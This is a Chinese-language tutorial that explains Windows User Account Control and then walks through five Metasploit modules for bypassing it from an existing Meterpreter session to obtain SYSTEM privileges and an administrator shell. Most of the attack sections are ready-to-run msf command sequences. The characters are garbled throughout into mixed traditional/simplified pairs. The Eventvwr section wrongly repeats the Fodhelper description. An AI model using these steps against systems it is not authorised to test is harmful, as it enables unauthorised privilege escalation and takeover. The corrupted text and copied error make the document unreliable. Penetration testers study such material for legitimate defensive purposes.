安全 | 利用metasploit繞過UAC的5種方式
大家好,今天,我們將淺析用戶帳戶控制(簡稱UAC)。我們還將了解它如何保護(hù)你免受惡意軟件的入侵,如若忽略UAC提示,可能會對你的系統(tǒng)造成不良影響。
一、用戶賬戶控制(UAC)介紹
1. 什么是用戶賬戶控制?
在Microsoft Windows Vista和Windows Server 2008操作系統(tǒng)中引入了結(jié)構(gòu)良好的用戶帳戶控制,因?yàn)椴槐匾南到y(tǒng)范圍的更改是難以避免的,而UAC策略可以防止這種更改,并且只需要很少的工作量。
換句話說,它是Windows的一項(xiàng)安全功能,它可以讓我來防止對操作系統(tǒng)進(jìn)行未經(jīng)授權(quán)的修改。UAC確保某些修改只能在administrator授權(quán)下才能進(jìn)行。如果administrator不允許更改,則不會執(zhí)行這些更改,Windows保持不變。
2. UAC工作原理?
UAC阻止程序執(zhí)行涉及系統(tǒng)更改/特定任務(wù)的任何任務(wù)。除非嘗試執(zhí)行它們的進(jìn)程以管理員權(quán)限運(yùn)行,否則這些操作將無法運(yùn)行。如果以管理員身份運(yùn)行程序,它會具有更多權(quán)限,因?yàn)榕c未以管理員身份運(yùn)行的程序相比,它的權(quán)限得到了提升。
沒有管理員權(quán)限就無法完成的一些事情:
- 注冊表修改(如果注冊表項(xiàng)在HKEY_LOCAL_MACHINE下(因?yàn)樗绊懚鄠€用戶),它將是只讀的)
- 加載設(shè)備驅(qū)動程序
- DLL注入
- 修改系統(tǒng)時間(時鐘)
- 修改用戶帳戶控制設(shè)置(通過注冊表,可以啟用/禁用它,但你需要正確的權(quán)限才能執(zhí)行此操作)
- 修改受保護(hù)的目錄(例如Windows文件夾,Program Files)
- 計(jì)劃任務(wù)(例如,以管理員權(quán)限自動啟動)
UAC不會自動阻止惡意軟件,目的并不是判斷程序是否是惡意軟件。是不是惡意軟件還是得取決于用戶。如果要以管理員權(quán)限執(zhí)行程序,UAC將提醒用戶并且需要用戶進(jìn)行確認(rèn)。
二、繞過UAC的5種方法
首先對目標(biāo)機(jī)器進(jìn)行漏洞利用以獲取meterpreter會話。獲得meterpreter會話1后,輸入以下命令以檢查系統(tǒng)權(quán)限和特權(quán)。
- getsystem
- getuid
如果你沒有系統(tǒng)/管理員權(quán)限,那么你就需要繞過目標(biāo)系統(tǒng)的UAC保護(hù)。
1. Windows升級UAC保護(hù)繞過
此模塊將通過進(jìn)程注入利用受信任的發(fā)布者證書繞過Windows UAC。這將產(chǎn)生第二個shell,而且UAC保護(hù)已經(jīng)關(guān)閉。
- msf > use exploit/windows/local/bypassuac
- msf exploit windows/local/bypassuac) > set session 1
- msf exploit(windows/local/bypassuac) > exploit
從下圖可以看到,又建立了一個meterpreter會話2連接,現(xiàn)在輸入getsystem和getuid兩條命令來查看系統(tǒng)權(quán)限:
太好了,我們獲得了NT AUTHORITY\SYSTEM權(quán)限?,F(xiàn)在你只要輸入shell命令,你就會進(jìn)入一個具有管理員權(quán)限的命令行窗口。
2. Windows升級UAC保護(hù)繞過(內(nèi)存注入)
此模塊將通過進(jìn)程注入利用受信任的發(fā)布者證書繞過Windows UAC。這將產(chǎn)生第二個shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊使用反射DLL注入技術(shù)僅刪除DLLpayload二進(jìn)制文件而不是刪除標(biāo)準(zhǔn)技術(shù)中的三個單獨(dú)的二進(jìn)制文件。但是,它需要選擇正確的體系結(jié)構(gòu)(對于SYSWOW64系統(tǒng)也使用x64)。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動payload后調(diào)用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_injection
- msf exploit(windows/local/bypassuac_injection) > set session 1
- msf exploit(windows/local/bypassuac_injection) > exploit
從下圖中可以看出,meterpreter 會話2已經(jīng)成功打開,現(xiàn)在輸入getsystem和getuid兩條命令來查看權(quán)限。
最終,你也會拿到NT AUTHORITY\SYSTEM權(quán)限,現(xiàn)在只需要輸入shell命令,就可以進(jìn)入一個具有管理員權(quán)限的命令行窗口。
3. Windows升級UAC保護(hù)繞過(FodHelper注冊表鍵值繞過)
此模塊將通過在當(dāng)前用戶配置單元下劫持注冊表中的特殊鍵并插入將在啟動Windows fodhelper.exe應(yīng)用程序時調(diào)用的自定義命令來繞過Windows 10 UAC。這將產(chǎn)生第二個shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊修改注冊表項(xiàng),但在調(diào)用payload后清除該項(xiàng)。該模塊不要求payload的結(jié)構(gòu)與OS匹配。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動payload后調(diào)用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_fodhelper
- msf exploit(windows/local/bypassuac_fodhelper) > set session 1
- msf exploit(windows/local/bypassuac_fodhelper) > exploit
從下圖中,可以看到,meterpreter會話2已經(jīng)成功打開,輸入getsystem和getuid兩條命令來查看權(quán)限
非常不錯,我們獲得了NT AUTHORITY\SYSTEM權(quán)限,輸入shell命令,就能拿到管理員的命令行窗口了。
4. Windows升級UAC保護(hù)繞過(Eventvwr注冊表鍵值繞過)
此模塊將通過在當(dāng)前用戶配置單元下劫持注冊表中的特殊鍵并插入自定義命令,這個命令將在啟動Windows fodhelper.exe應(yīng)用程序時調(diào)用來繞過Windows 10 UAC。這將產(chǎn)生第二個shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊修改注冊表項(xiàng),但在調(diào)用payload后清除該項(xiàng)。該模塊不要求payload的結(jié)構(gòu)與OS匹配。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動payload后調(diào)用ExitProcess()。
執(zhí)行命令如下:
- msf > use exploit/windows/local/bypassuac_eventvwr
- msf exploit(windows/local/bypassuac_eventvwr) > set session 1
- msf exploit(windows/local/bypassuac_eventvwr) > exploit
從下圖中,可以看到,meterpreter會話2已經(jīng)上線,輸入getsystem和getuid兩條命令來查看是否是system權(quán)限。
再一次,我們獲取了NT AUTHORITY\SYSTEM權(quán)限。
5. Windows升級UAC保護(hù)繞過(COM Handler劫持繞過)
此模塊將通過在HKCU配置單元中創(chuàng)建COM處理程序注冊表項(xiàng)來繞過Windows UAC。加載某些高完整性進(jìn)程時,會引用這些注冊表項(xiàng),從而導(dǎo)致進(jìn)程加載用戶控制的DLL。這些DLL包含導(dǎo)致會話升級的payload。在payload調(diào)用后清除注冊表項(xiàng)修改。
此模塊要求payload的體系結(jié)構(gòu)與OS匹配,但當(dāng)前的低權(quán)限Meterpreter會話的體系結(jié)構(gòu)并不相同。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動payload后調(diào)用ExitProcess()。此模塊通過目標(biāo)上的cmd.exe調(diào)用目標(biāo)二進(jìn)制文件。因此,如果限制cmd.exe訪問,則此模塊將無法正常運(yùn)行。
- msf > use exploit/windows/local/bypassuac_comhijack
- msf exploit(windows/local/bypassuac_comhijack) > set session 1
- msf exploit(windows/local/bypassuac_comhijack) > exploit
如下圖所示,meterpreter會話2已經(jīng)建立連接,輸入getsystem和getuid兩條命令來查看是否是system權(quán)限。
最終,還是得到了NT AUTHORITY\SYSTEM權(quán)限,同理,輸入shell獲取管理員權(quán)限的命令窗口。如此一來,我們便借助了metasploit 后滲透漏洞利用來繞過UAC保護(hù)了。